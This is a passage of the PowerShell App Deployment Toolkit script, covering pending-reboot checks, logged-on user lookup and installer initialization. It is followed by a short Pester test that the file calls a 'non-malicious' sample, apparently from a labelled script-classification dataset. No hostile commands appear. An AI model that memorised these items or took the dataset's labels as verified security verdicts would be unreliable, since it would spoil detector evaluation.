$Name start= $ScExeStartMode If ($global:LastExitCode -ne 0) { Throw "sc.exe failed with exit code [$($global:LastExitCode)] and message [$ChangeStartMode]." } Write-Log -Message "Successfully set service [$Name] startup mode to [$StartMode]." -Source ${CmdletName} } Catch { Write-Log -Message "Failed to set service [$Name] startup mode to [$StartMode]. `n$(Resolve-Error)" -Source ${CmdletName} -Severity 3 If (-not $ContinueOnError) { Throw "Failed to set service [$Name] startup mode to [$StartMode]: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-LoggedOnUser { [CmdletBinding()] Param ( ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message 'Get session information for all logged on users.' -Source ${CmdletName} Write-Output -InputObject ([PSADT.QueryUser]::GetUserSessionInfo("$env:ComputerName")) } Catch { Write-Log -Message "Failed to get session information for all logged on users. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-PendingReboot { [CmdletBinding()] Param ( ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header [string]$private:ComputerName = ([Net.Dns]::GetHostEntry('')).HostName $PendRebootErrorMsg = $null } Process { Write-Log -Message "Get the pending reboot status on the local computer [$ComputerName]." -Source ${CmdletName} Try { [nullable[datetime]]$LastBootUpTime = (Get-Date -ErrorAction 'Stop') - ([timespan]::FromMilliseconds([math]::Abs([Environment]::TickCount))) } Catch { [nullable[datetime]]$LastBootUpTime = $null [string[]]$PendRebootErrorMsg += "Failed to get LastBootUpTime: $($_.Exception.Message)" Write-Log -Message "Failed to get LastBootUpTime. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } Try { If (([version]$envOSVersion).Major -ge 5) { If (Test-Path -LiteralPath 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending' -ErrorAction 'Stop') { [nullable[boolean]]$IsCBServicingRebootPending = $true } Else { [nullable[boolean]]$IsCBServicingRebootPending = $false } } } Catch { [nullable[boolean]]$IsCBServicingRebootPending = $null [string[]]$PendRebootErrorMsg += "Failed to get IsCBServicingRebootPending: $($_.Exception.Message)" Write-Log -Message "Failed to get IsCBServicingRebootPending. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } Try { If (Test-Path -LiteralPath 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired' -ErrorAction 'Stop') { [nullable[boolean]]$IsWindowsUpdateRebootPending = $true } Else { [nullable[boolean]]$IsWindowsUpdateRebootPending = $false } } Catch { [nullable[boolean]]$IsWindowsUpdateRebootPending = $null [string[]]$PendRebootErrorMsg += "Failed to get IsWindowsUpdateRebootPending: $($_.Exception.Message)" Write-Log -Message "Failed to get IsWindowsUpdateRebootPending. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } [boolean]$IsFileRenameRebootPending = $false $PendingFileRenameOperations = $null If (Test-RegistryValue -Key 'HKLM:SYSTEM\CurrentControlSet\Control\Session Manager' -Value 'PendingFileRenameOperations') { [boolean]$IsFileRenameRebootPending = $true Try { [string[]]$PendingFileRenameOperations = Get-ItemProperty -LiteralPath 'HKLM:SYSTEM\CurrentControlSet\Control\Session Manager' -ErrorAction 'Stop' | Select-Object -ExpandProperty 'PendingFileRenameOperations' -ErrorAction 'Stop' } Catch { [string[]]$PendRebootErrorMsg += "Failed to get PendingFileRenameOperations: $($_.Exception.Message)" Write-Log -Message "Failed to get PendingFileRenameOperations. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } Try { [boolean]$IsSccmClientNamespaceExists = $false [psobject]$SCCMClientRebootStatus = Invoke-WmiMethod -ComputerName $ComputerName -NameSpace 'ROOT\CCM\ClientSDK' -Class 'CCM_ClientUtilities' -Name 'DetermineIfRebootPending' -ErrorAction 'Stop' [boolean]$IsSccmClientNamespaceExists = $true If ($SCCMClientRebootStatus.ReturnValue -ne 0) { Throw "'DetermineIfRebootPending' method of 'ROOT\CCM\ClientSDK\CCM_ClientUtilities' class returned error code [$($SCCMClientRebootStatus.ReturnValue)]" } Else { Write-Log -Message 'Successfully queried SCCM client for reboot status.' -Source ${CmdletName} [nullable[boolean]]$IsSCCMClientRebootPending = $false If ($SCCMClientRebootStatus.IsHardRebootPending -or $SCCMClientRebootStatus.RebootPending) { [nullable[boolean]]$IsSCCMClientRebootPending = $true Write-Log -Message 'Pending SCCM reboot detected.' -Source ${CmdletName} } Else { Write-Log -Message 'Pending SCCM reboot not detected.' -Source ${CmdletName} } } } Catch [System.Management.ManagementException] { [nullable[boolean]]$IsSCCMClientRebootPending = $null [boolean]$IsSccmClientNamespaceExists = $false Write-Log -Message "Failed to get IsSCCMClientRebootPending. Failed to detect the SCCM client WMI class." -Severity 3 -Source ${CmdletName} } Catch { [nullable[boolean]]$IsSCCMClientRebootPending = $null [string[]]$PendRebootErrorMsg += "Failed to get IsSCCMClientRebootPending: $($_.Exception.Message)" Write-Log -Message "Failed to get IsSCCMClientRebootPending. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } Try { If (Test-Path -LiteralPath 'HKLM:SOFTWARE\Software\Microsoft\AppV\Client\PendingTasks' -ErrorAction 'Stop') { [nullable[boolean]]$IsAppVRebootPending = $true } Else { [nullable[boolean]]$IsAppVRebootPending = $false } } Catch { [nullable[boolean]]$IsAppVRebootPending = $null [string[]]$PendRebootErrorMsg += "Failed to get IsAppVRebootPending: $($_.Exception.Message)" Write-Log -Message "Failed to get IsAppVRebootPending. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } [boolean]$IsSystemRebootPending = $false If ($IsCBServicingRebootPending -or $IsWindowsUpdateRebootPending -or $IsSCCMClientRebootPending -or $IsFileRenameRebootPending) { [boolean]$IsSystemRebootPending = $true } [psobject]$PendingRebootInfo = New-Object -TypeName 'PSObject' -Property @{ ComputerName = $ComputerName LastBootUpTime = $LastBootUpTime IsSystemRebootPending = $IsSystemRebootPending IsCBServicingRebootPending = $IsCBServicingRebootPending IsWindowsUpdateRebootPending = $IsWindowsUpdateRebootPending IsSCCMClientRebootPending = $IsSCCMClientRebootPending IsAppVRebootPending = $IsAppVRebootPending IsFileRenameRebootPending = $IsFileRenameRebootPending PendingFileRenameOperations = $PendingFileRenameOperations ErrorMsg = $PendRebootErrorMsg } Write-Log -Message "Pending reboot status on the local computer [$ComputerName]: `n$($PendingRebootInfo | Format-List | Out-String)" -Source ${CmdletName} } End { Write-Output -InputObject ($PendingRebootInfo | Select-Object -Property 'ComputerName','LastBootUpTime','IsSystemRebootPending','IsCBServicingRebootPending','IsWindowsUpdateRebootPending','IsSCCMClientRebootPending','IsAppVRebootPending','IsFileRenameRebootPending','PendingFileRenameOperations','ErrorMsg') Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } If ($invokingScript) { If ((Split-Path -Path $invokingScript -Leaf) -eq 'AppDeployToolkitHelp.ps1') { Return } } If (-not ([Management.Automation.PSTypeName]'PSADT.UiAutomation').Type) { [string[]]$ReferencedAssemblies = 'System.Drawing', 'System.Windows.Forms', 'System.DirectoryServices' Add-Type -Path $appDeployCustomTypesSourceCode -ReferencedAssemblies $ReferencedAssemblies -IgnoreWarnings -ErrorAction 'Stop' } [scriptblock]$DisableScriptLogging = { $OldDisableLoggingValue = $DisableLogging ; $DisableLogging = $true } [scriptblock]$RevertScriptLogging = { $DisableLogging = $OldDisableLoggingValue } [scriptblock]$GetLoggedOnUserDetails = { [psobject[]]$LoggedOnUserSessions = Get-LoggedOnUser [string[]]$usersLoggedOn = $LoggedOnUserSessions | ForEach-Object { $_.NTAccount } If ($usersLoggedOn) { [psobject]$CurrentLoggedOnUserSession = $LoggedOnUserSessions | Where-Object { $_.IsCurrentSession } [psobject]$CurrentConsoleUserSession = $LoggedOnUserSessions | Where-Object { $_.IsConsoleSession } [psobject]$RunAsActiveUser = $LoggedOnUserSessions | Where-Object { $_.IsActiveUserSession } } } [scriptblock]$TestServiceHealth = { Param ( [string]$ServiceName, [string]$ServiceStartMode = 'Automatic' ) Try { [boolean]$IsServiceHealthy = $true If (Test-ServiceExists -Name $ServiceName -ContinueOnError $false) { If ((Get-ServiceStartMode -Name $ServiceName -ContinueOnError $false) -ne $ServiceStartMode) { Set-ServiceStartMode -Name $ServiceName -StartMode $ServiceStartMode -ContinueOnError $false } Start-ServiceAndDependencies -Name $ServiceName -SkipServiceExistsTest -ContinueOnError $false } Else { [boolean]$IsServiceHealthy = $false } } Catch { [boolean]$IsServiceHealthy = $false } Write-Output -InputObject $IsServiceHealthy } . $DisableScriptLogging If ((-not $appName) -and (-not $ReferredInstallName)){ switch ($Is64Bit) { $false { $formattedOSArch = "x86" } $true { $formattedOSArch = "x64" } } if ([string]$defaultMsiFile = (Get-ChildItem -LiteralPath $dirFiles -ErrorAction 'SilentlyContinue' | Where-Object { (-not $_.PsIsContainer) -and ([IO.Path]::GetExtension($_.Name) -eq ".msi") -and ($_.Name.EndsWith(".$formattedOSArch.msi")) } | Select-Object -ExpandProperty 'FullName' -First 1)) { Write-Log -Message "Discovered $formattedOSArch Zerotouch MSI under $defaultMSIFile" -Source $appDeployToolkitName } elseif ([string]$defaultMsiFile = (Get-ChildItem -LiteralPath $dirFiles -ErrorAction 'SilentlyContinue' | Where-Object { (-not $_.PsIsContainer) -and ([IO.Path]::GetExtension($_.Name) -eq ".msi") } | Select-Object -ExpandProperty 'FullName' -First 1)) { Write-Log -Message "Discovered Arch-Independent Zerotouch MSI under $defaultMSIFile" -Source $appDeployToolkitName } If ($defaultMsiFile) { Try { [boolean]$useDefaultMsi = $true Write-Log -Message "Discovered Zero-Config MSI installation file [$defaultMsiFile]." -Source $appDeployToolkitName [string]$defaultMstFile = [IO.Path]::ChangeExtension($defaultMsiFile, 'mst') If (Test-Path -LiteralPath $defaultMstFile -PathType 'Leaf') { Write-Log -Message "Discovered Zero-Config MST installation file [$defaultMstFile]." -Source $appDeployToolkitName } Else { [string]$defaultMstFile = '' } [string[]]$defaultMspFiles = Get-ChildItem -LiteralPath $dirFiles -ErrorAction 'SilentlyContinue' | Where-Object { (-not $_.PsIsContainer) -and ([IO.Path]::GetExtension($_.Name) -eq '.msp') } | Select-Object -ExpandProperty 'FullName' If ($defaultMspFiles) { Write-Log -Message "Discovered Zero-Config MSP installation file(s) [$($defaultMspFiles -join ',')]." -Source $appDeployToolkitName } [hashtable]$GetDefaultMsiTablePropertySplat = @{ Path = $defaultMsiFile; Table = 'Property'; ContinueOnError = $false; ErrorAction = 'Stop' } If ($defaultMstFile) { $GetDefaultMsiTablePropertySplat.Add('TransformPath', $defaultMstFile) } [psobject]$defaultMsiPropertyList = Get-MsiTableProperty @GetDefaultMsiTablePropertySplat [string]$appVendor = $defaultMsiPropertyList.Manufacturer [string]$appName = $defaultMsiPropertyList.ProductName [string]$appVersion = $defaultMsiPropertyList.ProductVersion $GetDefaultMsiTablePropertySplat.Set_Item('Table', 'File') [psobject]$defaultMsiFileList = Get-MsiTableProperty @GetDefaultMsiTablePropertySplat [string[]]$defaultMsiExecutables = Get-Member -InputObject $defaultMsiFileList -ErrorAction 'Stop' | Select-Object -ExpandProperty 'Name' -ErrorAction 'Stop' | Where-Object { [IO.Path]::GetExtension($_) -eq '.exe' } | ForEach-Object { [IO.Path]::GetFileNameWithoutExtension($_) } [string]$defaultMsiExecutablesList = $defaultMsiExecutables -join ',' Write-Log -Message "App Vendor [$appVendor]." -Source $appDeployToolkitName Write-Log -Message "App Name [$appName]." -Source $appDeployToolkitName Write-Log -Message "App Version [$appVersion]." -Source $appDeployToolkitName Write-Log -Message "MSI Executable List [$defaultMsiExecutablesList]." -Source $appDeployToolkitName } Catch { Write-Log -Message "Failed to process Zero-Config MSI Deployment. `n$(Resolve-Error)" -Source $appDeployToolkitName $useDefaultMsi = $false ; $appVendor = '' ; $appName = '' ; $appVersion = '' } } } If (-not $appName) { [string]$appName = $appDeployMainScriptFriendlyName If (-not $appVendor) { [string]$appVendor = 'PS' } If (-not $appVersion) { [string]$appVersion = $appDeployMainScriptVersion } If (-not $appLang) { [string]$appLang = $currentLanguage } If (-not $appRevision) { [string]$appRevision = '01' } If (-not $appArch) { [string]$appArch = '' } } If ($ReferredInstallTitle) { [string]$installTitle = $ReferredInstallTitle } If (-not $installTitle) { [string]$installTitle = ("$appVendor $appName $appVersion").Trim() } [char[]]$invalidFileNameChars = [IO.Path]::GetInvalidFileNameChars() [string]$appVendor = $appVendor -replace "[$invalidFileNameChars]",'' -replace ' ','' [string]$appName = $appName -replace "[$invalidFileNameChars]",'' -replace ' ','' [string]$appVersion = $appVersion -replace "[$invalidFileNameChars]",'' -replace ' ','' [string]$appArch = $appArch -replace "[$invalidFileNameChars]",'' -replace ' ','' [string]$appLang = $appLang -replace "[$invalidFileNameChars]",'' -replace ' ','' [string]$appRevision = $appRevision -replace "[$invalidFileNameChars]",'' -replace ' ','' If ($ReferredInstallName) { [string]$installName = $ReferredInstallName } If (-not $installName) { If ($appArch) { [string]$installName = $appVendor + '_' + $appName + '_' + $appVersion + '_' + $appArch + '_' + $appLang + '_' + $appRevision } Else { [string]$installName = $appVendor + '_' + $appName + '_' + $appVersion + '_' + $appLang + '_' + $appRevision } } [string]$installName = $installName -replace "[$invalidFileNameChars]",'' -replace ' ','' [string]$installName = $installName.Trim('_') -replace '[_]+','_' [string]$regKeyDeferHistory = "$configToolkitRegPath\$appDeployToolkitName\DeferHistory\$installName" If ($ReferredLogName) { [string]$logName = $ReferredLogName } If (-not $logName) { [string]$logName = $installName + '_' + $appDeployToolkitName + '_' + $deploymentType + '.log' } [string]$logTempFolder = Join-Path -Path $envTemp -ChildPath "${installName}_$deploymentType" If ($configToolkitCompressLogs) { If (Test-Path -LiteralPath $logTempFolder -PathType 'Container' -ErrorAction 'SilentlyContinue') { $null = Remove-Item -LiteralPath $logTempFolder -Recurse -Force -ErrorAction 'SilentlyContinue' } } . $RevertScriptLogging $installPhase = 'Initialization' $scriptSeparator = '*' * 79 Write-Log -Message ($scriptSeparator,$scriptSeparator) -Source $appDeployToolkitName Write-Log -Message "[$installName] setup started." -Source $appDeployToolkitName Try { Add-Type -AssemblyName 'System.Windows.Forms' -ErrorAction 'Stop' Add-Type -AssemblyName 'PresentationFramework' -ErrorAction 'Stop' Add-Type -AssemblyName 'Microsoft.VisualBasic' -ErrorAction 'Stop' Add-Type -AssemblyName 'System.Drawing' -ErrorAction 'Stop' Add-Type -AssemblyName 'PresentationCore' -ErrorAction 'Stop' Add-Type -AssemblyName 'WindowsBase' -ErrorAction 'Stop' } Catch { Write-Log -Message "Failed to load assembly. `n$(Resolve-Error)" -Severity 3 -Source $appDeployToolkitName If ($deployModeNonInteractive) { Write-Log -Message "Continue despite assembly load error since deployment mode is [$deployMode]." -Source $appDeployToolkitName } Else { Exit-Script -ExitCode 60004 } } If ($invokingScript) { Write-Log -Message "Script [$scriptPath] dot-source invoked by [$invokingScript]" -Source $appDeployToolkitName } Else { Write-Log -Message "Script [$scriptPath] invoked directly" -Source $appDeployToolkitName } If (Test-Path -LiteralPath "$scriptRoot\$appDeployToolkitDotSourceExtensions" -PathType 'Leaf') { . "$scriptRoot\$appDeployToolkitDotSourceExtensions" } If ($deployAppScriptParameters) { [string]$deployAppScriptParameters = ($deployAppScriptParameters.GetEnumerator() | ForEach-Object { If ($_.Value.GetType().Name -eq 'SwitchParameter') { "-$($_.Key):`$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Boolean') { "-$($_.Key) `$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Int32') { "-$($_.Key) $($_.Value)" } Else { "-$($_.Key) `"$($_.Value)`"" } }) -join ' ' } [hashtable]$appDeployMainScriptAsyncParameters = $appDeployMainScriptParameters If ($appDeployMainScriptParameters) { [string]$appDeployMainScriptParameters = ($appDeployMainScriptParameters.GetEnumerator() | ForEach-Object { If ($_.Value.GetType().Name -eq 'SwitchParameter') { "-$($_.Key):`$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Boolean') { "-$($_.Key) `$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Int32') { "-$($_.Key) $($_.Value)" } Else { "-$($_.Key) `"$($_.Value)`"" } }) -join ' ' } If ($appDeployExtScriptParameters) { [string]$appDeployExtScriptParameters = ($appDeployExtScriptParameters.GetEnumerator() | ForEach-Object { If ($_.Value.GetType().Name -eq 'SwitchParameter') { "-$($_.Key):`$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Boolean') { "-$($_.Key) `$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Int32') { "-$($_.Key) $($_.Value)" } Else { "-$($_.Key) `"$($_.Value)`"" } }) -join ' ' } If ($configConfigVersion -lt $appDeployMainScriptMinimumConfigVersion) { [string]$XMLConfigVersionErr = "The XML configuration file version [$configConfigVersion] is lower than the supported version required by the Toolkit [$appDeployMainScriptMinimumConfigVersion]. Please upgrade the configuration file." Write-Log -Message $XMLConfigVersionErr -Severity 3 -Source $appDeployToolkitName Throw $XMLConfigVersionErr } If ($appScriptVersion) { Write-Log -Message "[$installName] script version is [$appScriptVersion]" -Source $appDeployToolkitName } If ($deployAppScriptFriendlyName) { Write-Log -Message "[$deployAppScriptFriendlyName] script version is [$deployAppScriptVersion]" -Source $appDeployToolkitName } If ($deployAppScriptParameters) { Write-Log -Message "The following non-default parameters were passed to [$deployAppScriptFriendlyName]: [$deployAppScriptParameters]" -Source $appDeployToolkitName } If ($appDeployMainScriptFriendlyName) { Write-Log -Message "[$appDeployMainScriptFriendlyName] script version is [$appDeployMainScriptVersion]" -Source $appDeployToolkitName } If ($appDeployMainScriptParameters) { Write-Log -Message "The following non-default parameters were passed to [$appDeployMainScriptFriendlyName]: [$appDeployMainScriptParameters]" -Source $appDeployToolkitName } If ($appDeployExtScriptFriendlyName) { Write-Log -Message "[$appDeployExtScriptFriendlyName] version is [$appDeployExtScriptVersion]" -Source $appDeployToolkitName } If ($appDeployExtScriptParameters) { Write-Log -Message "The following non-default parameters were passed to [$appDeployExtScriptFriendlyName]: [$appDeployExtScriptParameters]" -Source $appDeployToolkitName } Write-Log -Message "Computer Name is [$envComputerNameFQDN]" -Source $appDeployToolkitName Write-Log -Message "Current User is [$ProcessNTAccount]" -Source $appDeployToolkitName If ($envOSServicePack) { Write-Log -Message "OS Version is [$envOSName $envOSServicePack $envOSArchitecture $envOSVersion]" -Source $appDeployToolkitName } Else { Write-Log -Message "OS Version is [$envOSName $envOSArchitecture $envOSVersion]" -Source $appDeployToolkitName } Write-Log -Message "OS Type is [$envOSProductTypeName]" -Source $appDeployToolkitName Write-Log -Message "Current Culture is [$($culture.Name)], language is [$currentLanguage] and UI language is [$currentUILanguage]" -Source $appDeployToolkitName Write-Log -Message "Hardware Platform is [$(. $DisableScriptLogging; Get-HardwarePlatform; . $RevertScriptLogging)]" -Source $appDeployToolkitName Write-Log -Message "PowerShell Host is [$($envHost.Name)] with version [$($envHost.Version)]" -Source $appDeployToolkitName Write-Log -Message "PowerShell Version is [$envPSVersion $psArchitecture]" -Source $appDeployToolkitName Write-Log -Message "PowerShell CLR (.NET) version is [$envCLRVersion]" -Source $appDeployToolkitName Write-Log -Message $scriptSeparator -Source $appDeployToolkitName . $DisableScriptLogging . $GetLoggedOnUserDetails . $xmlLoadLocalizedUIMessages . $GetDisplayScaleFactor . $RevertScriptLogging If ($AsyncToolkitLaunch) { $installPhase = 'Asynchronous' } If ($showInstallationPrompt) { Write-Log -Message "[$appDeployMainScriptFriendlyName] called with switch [-ShowInstallationPrompt]." -Source $appDeployToolkitName $appDeployMainScriptAsyncParameters.Remove('ShowInstallationPrompt') $appDeployMainScriptAsyncParameters.Remove('AsyncToolkitLaunch') $appDeployMainScriptAsyncParameters.Remove('ReferredInstallName') $appDeployMainScriptAsyncParameters.Remove('ReferredInstallTitle') $appDeployMainScriptAsyncParameters.Remove('ReferredLogName') Show-InstallationPrompt @appDeployMainScriptAsyncParameters Exit 0 } If ($showInstallationRestartPrompt) { Write-Log -Message "[$appDeployMainScriptFriendlyName] called with switch [-ShowInstallationRestartPrompt]." -Source $appDeployToolkitName $appDeployMainScriptAsyncParameters.Remove('ShowInstallationRestartPrompt') $appDeployMainScriptAsyncParameters.Remove('AsyncToolkitLaunch') $appDeployMainScriptAsyncParameters.Remove('ReferredInstallName') $appDeployMainScriptAsyncParameters.Remove('ReferredInstallTitle') $appDeployMainScriptAsyncParameters.Remove('ReferredLogName') Show-InstallationRestartPrompt @appDeployMainScriptAsyncParameters Exit 0 } If ($cleanupBlockedApps) { $deployModeSilent = $true Write-Log -Message "[$appDeployMainScriptFriendlyName] called with switch [-CleanupBlockedApps]." -Source $appDeployToolkitName Unblock-AppExecution Exit 0 } If ($showBlockedAppDialog) { Try { . $DisableScriptLogging Write-Log -Message "[$appDeployMainScriptFriendlyName] called with switch [-ShowBlockedAppDialog]." -Source $appDeployToolkitName [boolean]$showBlockedAppDialogMutexLocked = $false [string]$showBlockedAppDialogMutexName = 'Global\PSADT_ShowBlockedAppDialog_Message' [Threading.Mutex]$showBlockedAppDialogMutex = New-Object -TypeName 'System.Threading.Mutex' -ArgumentList ($false, $showBlockedAppDialogMutexName) If ((Test-IsMutexAvailable -MutexName $showBlockedAppDialogMutexName -MutexWaitTimeInMilliseconds 1) -and ($showBlockedAppDialogMutex.WaitOne(1))) { [boolean]$showBlockedAppDialogMutexLocked = $true Show-InstallationPrompt -Title $installTitle -Message $configBlockExecutionMessage -Icon 'Warning' -ButtonRightText 'OK' Exit 0 } Else { Write-Log -Message "Unable to acquire an exclusive lock on mutex [$showBlockedAppDialogMutexName] because another blocked application dialog window is already open. Exiting script..." -Severity 2 -Source $appDeployToolkitName Exit 0 } } Catch { Write-Log -Message "There was an error in displaying the Installation Prompt. `n$(Resolve-Error)" -Severity 3 -Source $appDeployToolkitName Exit 60005 } Finally { If ($showBlockedAppDialogMutexLocked) { $null = $showBlockedAppDialogMutex.ReleaseMutex() } If ($showBlockedAppDialogMutex) { $showBlockedAppDialogMutex.Close() } } } Write-Log -Message "Display session information for all logged on users: `n$($LoggedOnUserSessions | Format-List | Out-String)" -Source $appDeployToolkitName If ($usersLoggedOn) { Write-Log -Message "The following users are logged on to the system: [$($usersLoggedOn -join ', ')]." -Source $appDeployToolkitName If ($CurrentLoggedOnUserSession) { Write-Log -Message "Current process is running with user account [$ProcessNTAccount] under logged in user session for [$($CurrentLoggedOnUserSession.NTAccount)]." -Source $appDeployToolkitName } Else { Write-Log -Message "Current process is running under a system account [$ProcessNTAccount]." -Source $appDeployToolkitName } If ($CurrentConsoleUserSession) { Write-Log -Message "The following user is the console user [$($CurrentConsoleUserSession.NTAccount)] (user with control of physical monitor, keyboard, and mouse)." -Source $appDeployToolkitName } Else { Write-Log -Message 'There is no console user logged in (user with control of physical monitor, keyboard, and mouse).' -Source $appDeployToolkitName } If ($RunAsActiveUser) { Write-Log -Message "The active logged on user is [$($RunAsActiveUser.NTAccount)]." -Source $appDeployToolkitName } } Else { Write-Log -Message 'No users are logged on to the system.' -Source $appDeployToolkitName } If ($HKUPrimaryLanguageShort) { Write-Log -Message "The active logged on user [$($RunAsActiveUser.NTAccount)] has a primary UI language of [$HKUPrimaryLanguageShort]." -Source $appDeployToolkitName } Else { Write-Log -Message "The current system account [$ProcessNTAccount] has a primary UI language of [$currentLanguage]." -Source $appDeployToolkitName } If ($configInstallationUILanguageOverride) { Write-Log -Message "The config XML file was configured to override the detected primary UI language with the following UI language: [$configInstallationUILanguageOverride]." -Source $appDeployToolkitName } Write-Log -Message "The following UI messages were imported from the config XML file: [$xmlUIMessageLanguage]." -Source $appDeployToolkitName If ($UserDisplayScaleFactor) { Write-Log -Message "The active logged on user [$($RunAsActiveUser.NTAccount)] has a DPI scale factor of [$dpiScale] with DPI pixels [$dpiPixels]." -Source $appDeployToolkitName } Else { Write-Log -Message "The system has a DPI scale factor of [$dpiScale] with DPI pixels [$dpiPixels]." -Source $appDeployToolkitName } Try { [__comobject]$SMSTSEnvironment = New-Object -ComObject 'Microsoft.SMS.TSEnvironment' -ErrorAction 'Stop' Write-Log -Message 'Successfully loaded COM Object [Microsoft.SMS.TSEnvironment]. Therefore, script is currently running from a SCCM Task Sequence.' -Source $appDeployToolkitName $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($SMSTSEnvironment) $runningTaskSequence = $true } Catch { Write-Log -Message 'Unable to load COM Object [Microsoft.SMS.TSEnvironment]. Therefore, script is not currently running from a SCCM Task Sequence.' -Source $appDeployToolkitName $runningTaskSequence = $false } [boolean]$IsTaskSchedulerHealthy = $true If ($IsLocalSystemAccount) { [boolean]$IsTaskSchedulerHealthy = & $TestServiceHealth -ServiceName 'EventSystem' [boolean]$IsTaskSchedulerHealthy = & $TestServiceHealth -ServiceName 'RpcSs' [boolean]$IsTaskSchedulerHealthy = & $TestServiceHealth -ServiceName 'EventLog' [boolean]$IsTaskSchedulerHealthy = & $TestServiceHealth -ServiceName 'Schedule' Write-Log -Message "The task scheduler service is in a healthy state: $IsTaskSchedulerHealthy." -Source $appDeployToolkitName } Else { Write-Log -Message "Skipping attempt to check for and make the task scheduler services healthy because the App Deployment Toolkit is not running under the [$LocalSystemNTAccount] account." -Source $appDeployToolkitName } If ($SessionZero) { If ($deployMode -eq 'NonInteractive') { Write-Log -Message "Session 0 detected but deployment mode was manually set to [$deployMode]." -Source $appDeployToolkitName } Else { If (-not $IsProcessUserInteractive) { $deployMode = 'NonInteractive' Write-Log -Message "Session 0 detected, process not running in user interactive mode; deployment mode set to [$deployMode]." -Source $appDeployToolkitName } Else { If (-not $usersLoggedOn) { $deployMode = 'NonInteractive' Write-Log -Message "Session 0 detected, process running in user interactive mode, no users logged in; deployment mode set to [$deployMode]." -Source $appDeployToolkitName } Else { Write-Log -Message 'Session 0 detected, process running in user interactive mode, user(s) logged in.' -Source $appDeployToolkitName } } } } Else { Write-Log -Message 'Session 0 not detected.' -Source $appDeployToolkitName } If ($deployMode) { Write-Log -Message "Installation is running in [$deployMode] mode." -Source $appDeployToolkitName } Switch ($deployMode) { 'Silent' { $deployModeSilent = $true } 'NonInteractive' { $deployModeNonInteractive = $true; $deployModeSilent = $true } Default { $deployModeNonInteractive = $false; $deployModeSilent = $false } } Switch ($deploymentType) { 'Install' { $deploymentTypeName = $configDeploymentTypeInstall } 'Uninstall' { $deploymentTypeName = $configDeploymentTypeUnInstall } Default { $deploymentTypeName = $configDeploymentTypeInstall } } If ($deploymentTypeName) { Write-Log -Message "Deployment type is [$deploymentTypeName]." -Source $appDeployToolkitName } If ($useDefaultMsi) { Write-Log -Message "Discovered Zero-Config MSI installation file [$defaultMsiFile]." -Source $appDeployToolkitName } If ($configToolkitRequireAdmin) { If ((-not $IsAdmin) -and (-not $ShowBlockedAppDialog)) { [string]$AdminPermissionErr = "[$appDeployToolkitName] has an XML config file option [Toolkit_RequireAdmin] set to [True] so as to require Administrator rights for the toolkit to function. Please re-run the deployment script as an Administrator or change the option in the XML config file to not require Administrator rights." Write-Log -Message $AdminPermissionErr -Severity 3 -Source $appDeployToolkitName Show-DialogBox -Text $AdminPermissionErr -Icon 'Stop' Throw $AdminPermissionErr } } If ($terminalServerMode) { Enable-TerminalServerInstallMode }
combined_dataset/train/non-malicious/sample_58_35.ps1
sample_58_35.ps1
Describe "Test-EngineLibrary" { It "Calls Get-Date" { {Get-Date} | Should Not Throw } } # SIG # Begin signature block # MIInvwYJKoZIhvcNAQcCoIInsDCCJ6wCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAepXxxr54/3E+i # xZqMHSDHnhgmd0btMsUM/pLXYJo0EqCCDXYwggX0MIID3KADAgECAhMzAAADrzBA # DkyjTQVBAAAAAAOvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjMxMTE2MTkwOTAwWhcNMjQxMTE0MTkwOTAwWjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBM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dvV1eq50YFADI4VAa8WrkTO # d2ya9d+9BfVhG7kC/Ha9JTIpTIdFSbDQIBAZvvuzZ/dHAlPTXJntPYaZsOaDkFNo # y+saK0RZlzMycRIbepn+IpLKMqoUEkqF6s7Wy+8aBir3pU0//AR6IwNpeWmtRzoK # TfmcSb/eWGFjCMwaJg12mU7w3NK73czSmVoqadN1eNaXmgl/ghaNbH2fQHP63eqR # xSTxhhEtYOrMZjw8zgs4oTbTvFI2+T3IzeaVSaf3aZ/qk6yP57Xph+5gglglmrlW # twiMmdrhX5+0DsVX9wUcUrE4A8tHZEOWvKhFjwMB4FeUR5JYuA81YV1QrNmuUns1 # D2pEBRBUhpzobq8ySNb4tTP4/iIwo+Ui/VeRV6/PMPNF8/lu2onDyP3SBSnDXTVJ # 